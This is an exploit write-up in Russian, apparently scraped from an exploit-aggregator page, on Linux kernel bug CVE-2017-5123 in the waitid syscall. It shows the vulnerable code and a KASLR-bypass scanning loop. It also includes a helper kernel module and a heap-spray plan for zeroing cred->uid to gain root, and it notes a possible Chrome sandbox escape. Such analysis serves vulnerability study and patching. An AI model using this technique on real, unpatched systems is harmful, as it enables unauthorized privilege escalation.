## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-H1BANA-CVE-2017-5123
# CVE-2017-5123
## Обзор ошибки
Системный вызов Waitid в ядре Linux не проверял целевой адрес, используемый для записи. Это позволяло локальному пользователю с правами на запись в память ядра, что могло привести к повышению привилегий на устройстве или побегу из песочницы.
## Описание уязвимости
### Классификация уязвимости
* Повышение привилегий
* Побег из песочницы (chrome)
### Уязвимый код
`kernel/exit.c`
root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin(); // по сути вызывает stac(), временно отключает SMAP
unsafe_put_user(signo, &infop->si_signo, Efault); // <- отсутствует проверка access_ok() перед вызовом этой функции
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end(); // по сути вызывает clac(), снова включает SMAP
return err;
Efault:
user_access_end();
return -EFAULT;
}
Ошибка заключается в отсутствии проверки `access_ok()` перед вызовом `unsafe_put_user()`. В более ранних версиях ядра использовалась функция `put_user()`, которая включала вызов `access_ok()`.
root@kitploit:~
put_user(x, void __user *ptr)
if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
return -EFAULT
user_access_begin()
*ptr = x
user_access_end()
Используя `unsafe_put_user()`, программа избегает многократного включения/выключения SMAP в течение короткого времени из-за вызовов `user_access_begin()` / `user_access_end()`. Функция `access_ok()` проверяет валидность адреса `ptr`, гарантируя, что он принадлежит пользовательской памяти, предотвращая запись пользователя в память ядра. **Таким образом, если передать syscall waitid параметр infop, являющийся адресом ядра, будет вызвана эта ошибка.**
## Эксплуатация
Отсутствие проверки `access_ok()` позволяет передать адрес ядра в качестве параметра infop для waitid, после чего syscall перезапишет этот адрес, вызвав `unsafe_put_user()`. Ограничение заключается в том, что мы не можем контролировать, что будет записано по предоставленному адресу ядра. Используется 6 полей для записи: `signo`, нулевой байт, `info.cause`, `info.pid` (максимальное значение = 0x8000), `info.uid`, `info.status` (хотя тип int32, но значения >0, <256). Здесь наиболее полезным полем, вероятно, является нулевой байт. Его можно использовать для перезаписи `cred->euid` и `cred->uid`. Для этого необходимо знать адреса этих двух значений.
### Обход KASLR путем сканирования памяти
Согласно kernel.org, адрес «Kernel-space virtual memory» общий для всех процессов, начиная с `0xffff800000000000`, однако от `0xffff800000000000` до `0xffff87ffffffffff` находится «... guard hole, also reserved for hypervisor», поэтому мы начнем сканирование памяти с адреса `0xffff880000000000`. Стоит отметить, что сканирование возможно, потому что `unsafe_put_user()` не вызывает краш при обращении к недопустимым адресам. Это предотвращает DoS системы непривилегированными пользователями путём передачи неверных адресов.
root@kitploit:~
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
pid = fork();
if (pid > 0)
{
if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0)
{
printf("[+] Found %p\n", i);
break;
}
}
else if (pid == 0)
exit(0);
}

Теперь, зная адрес кучи ядра, необходимо определить адрес структуры cred.
### Поиск адреса Cred с помощью heap spray
Хотя адрес кучи ядра известен, он может не быть началом кучи, поэтому точный адрес структуры Cred вычислить невозможно. В этом случае применяется техника heap spray.
* Если создать много процессов, в памяти появится много структур cred, что упрощает предположение их адреса.
* Эти процессы затем вызывают `geteuid()`; если возвращается 0, значит, процесс работает с правами root -> бинго.
* Родительский процесс продолжает вызывать syscall `waitid()`, используя уязвимость, предполагая адрес структуры cred и перезаписывая `cred->uid` нулём.
Отладка для поиска адреса структуры cred дочерних процессов занимает много времени, поэтому я использовал готовый модуль для вывода адреса `cred->euid` через `printk()`.
root@kitploit:~
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h> // for basic filesystem
#include <linux/proc_fs.h> // for the proc filesystem
#include <linux/seq_file.h> // for sequence files
static struct proc_dir_entry* jif_file;
static int
jif_show(struct seq_file *m, void *v)
{
return 0;
}
static int
jif_open(struct inode *inode, struct file *file)
{
printk("EUID: %p\n", ¤t->cred->euid);
return single_open(file, jif_show, NULL);
}
static const struct file_operations jif_fops = {
.owner = THIS_MODULE,
.open = jif_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static int __init
jif_init(void)
{
jif_file = proc_create("jif", 0, NULL, &jif_fops);
if (!jif_file) {
return -ENOMEM;
}
return 0;
}
static void __exit
jif_exit(void)
{
remove_proc_entry("jif", NULL);
}
module_init(jif_init);
module_exit(jif_exit);
MODULE_LICENSE("GPL");

Я заметил, что есть адреса схожего вида; даже после перезагрузки смещение этих адресов остаётся похожим. Поэтому я решил выбрать один адрес и затем добавлять к нему pagesize в цикле, чтобы угадать адрес структуры cred.

Видео демонстрации эксплуатации 
### Некоторые проблемы данного подхода к эксплуатации
* Успех не гарантирован.
* Для разных версий ядра, затронутых этой уязвимостью, эксплойт может не работать во всех версиях, поскольку в каждой версии ядра смещение EUID при spray разное. Чтобы PoC работал для всех версий, при поиске euid для обнуления я использую адрес вида `найденный адрес кучи + смещение`. Необходимо уменьшить смещение, чтобы оно подходило для большего числа версий. Однако это означает более длительное время атаки и повышает вероятность паники/краша ядра из-за возможной записи в другие важные структуры в куче.
## Затронутый диапазон
* Затронутые версии: linux kernel версии 4.13 - 4.13.6
* Коммит, в котором появилась ошибка (2017-05-21, v4.13-rc1)
## Исправление
* Патч добавил проверку `access_ok()`
* Коммит с исправлением
## Заключение
* Ошибка может быть использована для повышения привилегий, возможно сочетание с побегом из песочницы Chrome. На момент обнаружения ошибки Chrome seccomp разрешал использование syscall waitid.
## Ссылки
* Exploiting CVE-2017-5123 with full protections. SMEP, SMAP, and the Chrome Sandbox!